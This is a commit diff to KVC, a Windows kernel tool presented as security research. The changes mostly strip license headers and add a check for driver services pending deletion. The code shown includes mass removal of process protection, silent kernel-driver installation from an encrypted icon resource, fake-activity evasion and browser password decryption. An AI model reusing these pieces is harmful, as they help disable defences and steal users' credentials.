Aktualizacja: 2025-10-04 22:05:43
This commit is contained in:
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// Add these functions to CommunicationLayer.cpp or create separate BannerSystem.cpp
|
// Add these functions to CommunicationLayer.cpp or create separate BannerSystem.cpp
|
||||||
|
|
||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// BrowserCrypto.cpp - Browser-specific cryptographic operations
|
// BrowserCrypto.cpp - Browser-specific cryptographic operations
|
||||||
// Implements selective COM/DPAPI strategy based on browser and data type
|
// Implements selective COM/DPAPI strategy based on browser and data type
|
||||||
#include "BrowserCrypto.h"
|
#include "BrowserCrypto.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// BrowserHelp.cpp - Comprehensive help system for PassExtractor
|
// BrowserHelp.cpp - Comprehensive help system for PassExtractor
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "BrowserHelp.h"
|
#include "BrowserHelp.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// BrowserProcessManager.cpp - Browser process management and cleanup operations
|
// BrowserProcessManager.cpp - Browser process management and cleanup operations
|
||||||
#include "BrowserProcessManager.h"
|
#include "BrowserProcessManager.h"
|
||||||
#include "syscalls.h"
|
#include "syscalls.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// CommunicationLayer.cpp - Console and pipe communication implementation
|
// CommunicationLayer.cpp - Console and pipe communication implementation
|
||||||
#include "CommunicationLayer.h"
|
#include "CommunicationLayer.h"
|
||||||
#include "syscalls.h"
|
#include "syscalls.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// CommunicationModule.cpp - Pipe communication and utility functions
|
// CommunicationModule.cpp - Pipe communication and utility functions
|
||||||
#include "CommunicationModule.h"
|
#include "CommunicationModule.h"
|
||||||
#include <ShlObj.h>
|
#include <ShlObj.h>
|
||||||
|
|||||||
@@ -105,10 +105,13 @@ public:
|
|||||||
bool UnprotectProcessByName(const std::wstring& processName) noexcept;
|
bool UnprotectProcessByName(const std::wstring& processName) noexcept;
|
||||||
bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||||
|
|
||||||
// Signer-based batch operations for mass unprotection scenarios
|
// Signer-based batch operations for mass unprotection scenarios
|
||||||
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
|
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
|
||||||
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
|
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
|
||||||
|
bool SetProtectionBySigner(const std::wstring& currentSigner,
|
||||||
|
const std::wstring& level,
|
||||||
|
const std::wstring& newSigner) noexcept;
|
||||||
|
|
||||||
// Session state restoration
|
// Session state restoration
|
||||||
bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
|
bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
|
||||||
bool RestoreAllProtection() noexcept;
|
bool RestoreAllProtection() noexcept;
|
||||||
@@ -196,7 +199,6 @@ private:
|
|||||||
SQLiteAPI m_sqlite;
|
SQLiteAPI m_sqlite;
|
||||||
|
|
||||||
// Privilege and system management
|
// Privilege and system management
|
||||||
bool EnablePrivilege(LPCWSTR privilegeName) noexcept;
|
|
||||||
bool EnableDebugPrivilege() noexcept;
|
bool EnableDebugPrivilege() noexcept;
|
||||||
|
|
||||||
// Enhanced file writing with TrustedInstaller privileges
|
// Enhanced file writing with TrustedInstaller privileges
|
||||||
@@ -224,6 +226,7 @@ private:
|
|||||||
|
|
||||||
// Session management
|
// Session management
|
||||||
bool BeginDriverSession();
|
bool BeginDriverSession();
|
||||||
|
bool IsServiceZombie() noexcept;
|
||||||
void EndDriverSession(bool force = false);
|
void EndDriverSession(bool force = false);
|
||||||
void UpdateDriverUsageTimestamp();
|
void UpdateDriverUsageTimestamp();
|
||||||
|
|
||||||
@@ -270,8 +273,7 @@ private:
|
|||||||
|
|
||||||
// Registry master key processing for enhanced display
|
// Registry master key processing for enhanced display
|
||||||
bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||||
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
|
|
||||||
|
|
||||||
// Browser password processing with AES-GCM decryption
|
// Browser password processing with AES-GCM decryption
|
||||||
bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
||||||
bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
||||||
@@ -286,7 +288,6 @@ private:
|
|||||||
void UnloadSQLiteLibrary() noexcept;
|
void UnloadSQLiteLibrary() noexcept;
|
||||||
|
|
||||||
// Cryptographic operations for DPAPI and Chrome AES-GCM
|
// Cryptographic operations for DPAPI and Chrome AES-GCM
|
||||||
std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept;
|
|
||||||
std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||||
std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;
|
std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;
|
||||||
|
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerBinaryManager.cpp - Fixed compilation issues
|
// ControllerBinaryManager.cpp - Fixed compilation issues
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerCore.cpp
|
// ControllerCore.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerDriverManager.cpp
|
// ControllerDriverManager.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
@@ -145,6 +120,24 @@ std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedDa
|
|||||||
// Silent driver installation with TrustedInstaller privileges
|
// Silent driver installation with TrustedInstaller privileges
|
||||||
bool Controller::InstallDriverSilently() noexcept {
|
bool Controller::InstallDriverSilently() noexcept {
|
||||||
ForceRemoveService();
|
ForceRemoveService();
|
||||||
|
// Check for zombie service state
|
||||||
|
if (IsServiceZombie()) {
|
||||||
|
CRITICAL(L""); // była ERROR
|
||||||
|
CRITICAL(L"===============================================================");
|
||||||
|
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
|
||||||
|
CRITICAL(L"===============================================================");
|
||||||
|
CRITICAL(L"");
|
||||||
|
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
|
||||||
|
CRITICAL(L"removed until the system is restarted. This typically occurs");
|
||||||
|
CRITICAL(L"when driver loading is interrupted during initialization.");
|
||||||
|
CRITICAL(L"");
|
||||||
|
INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje
|
||||||
|
INFO(L"After restart, the driver will load normally"); // INFO zostaje
|
||||||
|
CRITICAL(L"");
|
||||||
|
CRITICAL(L"===============================================================");
|
||||||
|
CRITICAL(L"");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
auto encryptedData = ExtractEncryptedDriver();
|
auto encryptedData = ExtractEncryptedDriver();
|
||||||
if (encryptedData.empty()) return false;
|
if (encryptedData.empty()) return false;
|
||||||
|
|
||||||
@@ -186,6 +179,12 @@ bool Controller::InstallDriverSilently() noexcept {
|
|||||||
|
|
||||||
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
|
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
|
||||||
if (!InitDynamicAPIs()) return false;
|
if (!InitDynamicAPIs()) return false;
|
||||||
|
|
||||||
|
if (IsServiceZombie()) {
|
||||||
|
DEBUG(L"Zombie service detected - restart required");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
GenerateFakeActivity();
|
GenerateFakeActivity();
|
||||||
|
|
||||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||||
@@ -194,7 +193,7 @@ bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noe
|
|||||||
SC_HANDLE hService = g_pCreateServiceW(
|
SC_HANDLE hService = g_pCreateServiceW(
|
||||||
hSCM,
|
hSCM,
|
||||||
GetServiceName().c_str(),
|
GetServiceName().c_str(),
|
||||||
L"Kernel Driver Service",
|
L"KVC",
|
||||||
SERVICE_ALL_ACCESS,
|
SERVICE_ALL_ACCESS,
|
||||||
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
|
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
|
||||||
SERVICE_DEMAND_START, // start = demand (can be changed to auto)
|
SERVICE_DEMAND_START, // start = demand (can be changed to auto)
|
||||||
@@ -237,9 +236,51 @@ bool Controller::StartDriverServiceSilent() noexcept {
|
|||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Detects zombie service state (marked for deletion but not yet removed).
|
||||||
|
// Returns true if service exists with DELETE_PENDING flag, indicating system restart is required.
|
||||||
|
bool Controller::IsServiceZombie() noexcept {
|
||||||
|
if (!InitDynamicAPIs()) return false;
|
||||||
|
|
||||||
|
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
||||||
|
if (!hSCM) return false;
|
||||||
|
|
||||||
|
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
|
||||||
|
if (!hService) {
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
CloseServiceHandle(hSCM);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL delResult = g_pDeleteService(hService);
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
|
||||||
|
CloseServiceHandle(hService);
|
||||||
|
CloseServiceHandle(hSCM);
|
||||||
|
|
||||||
|
return (!delResult && err == ERROR_SERVICE_MARKED_FOR_DELETE);
|
||||||
|
}
|
||||||
|
|
||||||
// Legacy driver installation with enhanced error handling
|
// Legacy driver installation with enhanced error handling
|
||||||
bool Controller::InstallDriver() noexcept {
|
bool Controller::InstallDriver() noexcept {
|
||||||
ForceRemoveService();
|
ForceRemoveService();
|
||||||
|
// Check for zombie service state
|
||||||
|
if (IsServiceZombie()) {
|
||||||
|
CRITICAL(L""); // była ERROR
|
||||||
|
CRITICAL(L"===============================================================");
|
||||||
|
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
|
||||||
|
CRITICAL(L"===============================================================");
|
||||||
|
CRITICAL(L"");
|
||||||
|
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
|
||||||
|
CRITICAL(L"removed until the system is restarted. This typically occurs");
|
||||||
|
CRITICAL(L"when driver loading is interrupted during initialization.");
|
||||||
|
CRITICAL(L"");
|
||||||
|
INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje
|
||||||
|
INFO(L"After restart, the driver will load normally"); // INFO zostaje
|
||||||
|
CRITICAL(L"");
|
||||||
|
CRITICAL(L"===============================================================");
|
||||||
|
CRITICAL(L"");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
auto encryptedData = ExtractEncryptedDriver();
|
auto encryptedData = ExtractEncryptedDriver();
|
||||||
if (encryptedData.empty()) {
|
if (encryptedData.empty()) {
|
||||||
ERROR(L"Failed to extract encrypted driver from icon resource");
|
ERROR(L"Failed to extract encrypted driver from icon resource");
|
||||||
@@ -297,7 +338,7 @@ bool Controller::InstallDriver() noexcept {
|
|||||||
}
|
}
|
||||||
|
|
||||||
SC_HANDLE hService = g_pCreateServiceW(
|
SC_HANDLE hService = g_pCreateServiceW(
|
||||||
hSCM, GetServiceName().c_str(), L"Memory Access Driver",
|
hSCM, GetServiceName().c_str(), L"KVC",
|
||||||
SERVICE_ALL_ACCESS,
|
SERVICE_ALL_ACCESS,
|
||||||
SERVICE_KERNEL_DRIVER, // KEY CHANGE
|
SERVICE_KERNEL_DRIVER, // KEY CHANGE
|
||||||
SERVICE_DEMAND_START, // start= demand
|
SERVICE_DEMAND_START, // start= demand
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ControllerMemoryOperations.cpp
|
// ControllerMemoryOperations.cpp
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "ReportExporter.h"
|
#include "ReportExporter.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
@@ -48,27 +23,6 @@ extern volatile bool g_interrupted;
|
|||||||
// SQLite constants for winsqlite3.dll compatibility
|
// SQLite constants for winsqlite3.dll compatibility
|
||||||
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
||||||
|
|
||||||
// UTF-8 string conversion utilities for DPAPI operations
|
|
||||||
std::wstring StringToWString(const std::string& str) noexcept
|
|
||||||
{
|
|
||||||
